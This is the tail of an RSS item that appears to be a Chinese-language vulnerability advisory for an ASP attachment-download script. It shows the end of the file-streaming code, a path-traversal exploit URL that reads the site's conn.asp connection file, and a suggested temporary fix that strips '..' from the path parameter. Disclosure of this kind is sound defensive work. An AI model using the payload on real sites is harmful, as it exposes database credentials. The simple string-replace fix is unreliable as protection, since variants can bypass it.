nbsp;End&nbsp;If<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.AddHeader&nbsp;&quot;Content-Length&quot;,&nbsp;intFilelength<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.CharSet&nbsp;=&nbsp;&quot;UTF-8&quot;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.ContentType&nbsp;=&nbsp;ContentType<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.BinaryWrite&nbsp;Data<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Flush<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Clear()<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br>End&nbsp;Sub<br><br>########################################################################<br>利用方法：<br>http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.<br>########################################################################<br>修补建议：<br>等待官方发布新的补丁程序。<br>########################################################################<br>临时解决办法：<br>将attachment.asp第5行&nbsp;Path&nbsp;=&nbsp;Trim(Request(&quot;path&quot;))&nbsp;改成&nbsp;Path&nbsp;=&nbsp;Replace(Trim(Request(&quot;path&quot;)),&quot;..&quot;,&quot;&quot;)<br>########################################################################<br>]]></description></item>
</channel>
</rss>